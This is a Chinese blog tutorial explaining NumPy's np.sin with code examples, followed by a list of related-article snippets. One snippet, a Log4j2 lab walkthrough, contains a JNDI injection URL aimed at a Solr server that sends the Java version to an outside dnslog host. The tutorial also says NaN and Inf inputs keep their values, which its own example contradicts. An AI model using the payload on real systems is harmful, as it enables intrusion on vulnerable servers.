numpy学习笔记6:np.sin(a) 的详细解释

news2025/3/19 10:41:49

numpy学习笔记6:np.sin(a) 的详细解释

以下是关于 np.sin(a) 的详细解释:


1. 函数作用

np.sin(a) 是 NumPy 中用于计算数组(或标量)元素的正弦值的函数:

  • 输入:数组 a(元素单位为弧度)。

  • 输出:与 a 形状相同的数组,每个元素是输入元素的 sine 值。

  • 支持向量化:无需显式循环,直接对整个数组进行操作。


2. 语法

numpy.sin(x, /, out=None, *, where=True, dtype=None)
  • 参数

    • x:输入的数组或标量(单位:弧度)。

    • out(可选):存储结果的数组(需与输入形状兼容)。

    • dtype(可选):指定输出数据类型。

  • 返回:与 x 形状相同的数组,元素为 sin(x)


3. 基础示例

(1) 处理标量
import numpy as np

val = np.sin(np.pi/2)  # 计算 sin(π/2)
print(val)  # 输出 1.0
(2) 处理一维数组
a = np.array([0, np.pi/2, np.pi])
sin_a = np.sin(a)
print(sin_a)  # 输出 [0.0, 1.0, 1.2246e-16(近似0)]
(3) 处理二维数组
b = np.array([[0, np.pi], [np.pi/4, 3*np.pi/2]])
sin_b = np.sin(b)
print(sin_b)

输出

[[ 0.000000e+00  1.2246468e-16]  # sin(0)=0, sin(π)=0(近似)
 [ 7.0710678e-01 -1.0000000e+00]] # sin(π/4)=√2/2≈0.707, sin(3π/2)=-1

4. 关键特性

(1) 输入单位是弧度
  • 若数据是角度,需先转换为弧度:

    degrees = 90
    radians = np.deg2rad(degrees)  # 或 degrees * np.pi / 180
    print(np.sin(radians))  # 输出 1.0
(2) 自动广播(Broadcasting)
  • 支持不同形状的数组与标量混合计算:

    a = np.array([0, np.pi/2])
    result = np.sin(a + 0.5)  # 对每个元素加 0.5 后计算 sine
(3) 处理特殊值
  • NaN 和 Inf:若输入含 NaN(非数字)或 Inf(无穷大),结果保留原值:

    a = np.array([np.nan, np.inf])
    print(np.sin(a))  # 输出 [nan, nan]

5. 应用场景

(1) 信号处理

生成正弦波信号:

t = np.linspace(0, 2*np.pi, 100)  # 生成时间序列
signal = np.sin(t)  # 正弦波形
(2) 几何计算

计算三角形角度或旋转矩阵:

angle = np.pi/3
sin_theta = np.sin(angle)
cos_theta = np.cos(angle)
rotation_matrix = np.array([[cos_theta, -sin_theta], 
                            [sin_theta, cos_theta]])
(3) 物理模拟

简谐运动模拟:

time = np.arange(0, 10, 0.1)
displacement = np.sin(2 * np.pi * 0.5 * time)  # 0.5 Hz 的振动

6. 性能优势

  • 向量化计算:比循环逐元素计算快数百倍。

    # 错误方式(慢):
    a = np.linspace(0, 2*np.pi, 1000000)
    result = np.zeros_like(a)
    for i in range(len(a)):
        result[i] = np.sin(a[i])
    
    # 正确方式(快):
    result = np.sin(a)

7. 常见问题

Q1:如何处理角度值?
  • 使用 np.deg2rad() 或手动转换:

    degrees = 30
    radians = degrees * np.pi / 180
    print(np.sin(radians))  # 输出 0.5
Q2:结果精度问题?
  • NumPy 使用双精度浮点数(float64),但受限于浮点数精度,结果可能接近但不完全精确:

    np.sin(np.pi)  # 输出 1.2246468e-16(近似0)
Q3:如何处理复数?
  • np.sin() 支持复数输入:

    c = 1 + 2j
    print(np.sin(c))  # 输出 (3.1658+1.9596j)

8. 对比其他函数

函数作用输入类型
np.sin()计算正弦值数组或标量(弧度)
np.cos()计算余弦值数组或标量(弧度)
np.tan()计算正切值数组或标量(弧度)
math.sin()Python 内置正弦函数标量(弧度)

通过 np.sin(),你可以高效计算数组的正弦值,适用于科学计算、工程建模和数据分析中的周期性信号处理!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2317742.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Excel(函数篇):IF函数、FREQUNCY函数、截取函数、文本处理函数、日期函数、常用函数详解

目录 IF函数等于判断区间判断与AND函数、OR函数一同使用IFNA函数和IFERROR函数 FREQUNCY函数、分断统计LEFT、RIGHT、MID截取函数FIND函数、LEN函数SUBSTITUTE函数ASC函数、WIDECHAR函数实战:如何获取到表中所有工作簿名称文本处理函数TEXT函数TEXTJOIN函数 日期函数…

利用大语言模型生成的合成数据训练YOLOv12:提升商业果园苹果检测的精度与效

之前小编分享过关于《YOLO11-CBAM集成:提升商业苹果园树干与树枝分割的精准度》,改进YOLO11算法后,进行苹果树的实例分割。本期文章我们将分享关于最新的YOLO12算法改进的苹果目标检测。 论文题目:Improved YOLOv12 with LLM-Gen…

整合百款经典街机游戏的模拟器介绍

对于80、90后而言,街机游戏承载着童年的欢乐记忆。今天要给大家介绍一款超棒的软件——「MXui街机厅经典游戏101款」,它能带你重回那段热血沸腾的街机时光。 「MXui街机厅经典游戏101款」是一款绿色免安装的街机模拟器,体积约1.39G。无需繁琐…

中小型企业大数据平台全栈搭建:Hive+HDFS+YARN+Hue+ZooKeeper+MySQL+Sqoop+Azkaban 保姆级配置指南

目录 背景‌一、环境规划与依赖准备‌1. 服务器规划(3节点集群)2. 系统与依赖‌3. Hadoop生态组件版本与下载路径4. 架构图二、Hadoop(HDFS+YARN)安装与配置‌1. 下载与解压(所有节点)2. HDFS高可用配置3. YARN资源配置‌4. 启动Hadoop集群三、MySQL安装与Hive元数据配置…

Tomcat、Open Liberty 和 WebSphere Application Server (WAS) 的配置、调试和跟踪

一、Tomcat Tomcat 是一个轻量级的开源 Java Servlet 容器。 1、配置 Tomcat 的主要配置文件位于其安装目录下的 conf 文件夹中。 server.xml: 这是 Tomcat 的核心配置文件,包含了服务器的基本设置,例如端口号、连接器配置、虚拟主机配置、以及全局的…

使用yolov8+flask实现精美登录界面+图片视频摄像头检测系统

这个是使用flask实现好看登录界面和友好的检测界面实现yolov8推理和展示,代码仅仅有2个html文件和一个python文件,真正做到了用最简洁的代码实现复杂功能。 测试通过环境: windows x64 anaconda3python3.8 ultralytics8.3.81 flask1.1.2…

微软OneNote无法同步解决方案

目录 前言原因UWP特性 解决方案C***h注册表 参考链接 前言 假设有多台Windows电脑,最方便且免费的多设备笔记同步方案就是微软自家的OneNote,使用OneDrive自带的5G云存储。 但是在国内大陆的OneNote,经常会出现无法同步、同步失败&#xff1…

Log4j2漏洞实战

1,打开环境后访问该ip 2,打开dnslog.cn,获取一个域名,我们这里是2bfvl6.dnslog.cn 3,访问http://47.122.51.245:8983/solr/admin/coresaction${jndi:ldap://${sys:java.version}.2bfvl6.dnslog.cn} 4,返回d…

【含文档+PPT+源码】基于小程序的智能停车管理系统设计与开发

项目介绍 本课程演示的是一款基于小程序的智能停车管理系统设计与开发,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含:项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 3…

idea 编译打包nacos2.0.3源码,生成可执行jar 包常见问题

目录 问题1 问题2 问题3 问题4 简单记录一下nacos2.0.3,编译打包的步骤,首先下载源码,免积分下载: nacos源码: https://download.csdn.net/download/fyihdg/90461118 protoc 安装包 https://download.csdn.net…

YOLOv8 OBB 旋转目标检测模型详解与实践

引言 在计算机视觉领域,目标检测是至关重要的任务之一。YOLO(You Only Look Once)系列算法因其高效性和准确性而广受欢迎。YOLOv8 作为稳定版本,在目标检测领域取得了显著成果,依旧能打。本文将深入探讨 YOLOv8 OBB&a…

机器学习之支持向量机(SVM)算法详解

文章目录 引言一、 什么是支持向量机(SVM)二、 SVM的基本原理三、数学推导1.线性可分情况2. 非线性可分情况3. 核函数 四、SVM的优缺点优点:缺点: 五、 应用场景六、 Python实现示例七、 总结 引言 支持向量机(Suppor…

Linux系统移植篇(十一)Linux 内核启动流程

要分析 Linux 启动流程,同样需要先编译一下 Linux 源码,因为有很多文件是需要编译才 会生成的。首先分析 Linux 内核的连接脚本文件 arch/arm/kernel/vmlinux.lds,通过链接脚本可以 找到 Linux 内核的第一行程序是从哪里执行的。vmlinux.lds …

功能强大的电脑硬件检测及驱动安装工具

今天给大家带来一款超实用的电脑硬件检测软件——入梦工具箱。它是开源的,全程无广告干扰,使用起来清爽又安心。 打开入梦工具箱,进入“硬件信息”选项,电脑各个配件的详细参数一目了然。 无论是CPU的型号、频率,还是…

【Altium Designer】设计技巧

目录 技巧一:铺铜连接方式 技巧二:铺铜连接方式 技巧一:铺铜连接方式 Design -> Rules -> PolygonConnect 三种选择: 1)Relief Connect:十字连接,可选择是45还是90 2)Direct…

基于FPGA的3U机箱模拟量高速采样板ADI板卡,应用于轨道交通/电力储能等

板卡简介: 本板为模拟量高速采样板(ADI),主要用于电机转速和相电流检测,以实现电机闭环控制。 性能规格: 电源:DC5V,DC3.3V,DC15V,DC24V FPGA:…

6. 顺序表和链表*****

目录 1. 顺序表 1.1 原理 1.2 常见的增删查改 1.3 顺序表的问题 2. 链表 2.1 原理 2.2 无头单向非循环的增删查改 2.3 链表面试题 1. 删除链表中等于给定值val的所有节点203. 移除链表元素 2. 链表逆置206. 反转链表(考的最多) 3.给你单链表的…

【AVRCP】蓝牙协议栈深度解析:AVCTP互操作性核心机制与实现细节

目录 一、事务标签(Transaction Label)机制 1.1 事务标签核心规则 1.2 事务标签作用域与并发性 1.3 实现建议与陷阱规避 1.4 协议设计思考 1.5 调试与验证 二、消息分片(Fragmentation)机制 2.1 分片触发条件 2.2 分片支…

【MySQL】基本查询(下)

文章目录 1.筛选分页结果2.Update3.Delete4.截断表5.插入查询结果6.聚合函数6.1什么是聚合函数6.2常见的聚合函数 7.group by7.1如何显示每个部门的平均工资和最高工资7.2显示每个部门的每种岗位的平均工资和最低工资7.3显示平均工资低于2000的部门和它的平均工资 8.总结 1.筛选…

Xpath Helper 替代 - XPath 测试器

Xpath Helper 最近开始(2025.03)无法使用了,选找了几款替代品,XPath 测试器 是目前看来最好的。 XPath 测试器 市场地址: https://chromewebstore.google.com/detail/xpath-测试器/cneomjecgakdfoeehmmmoiklncdiodmh …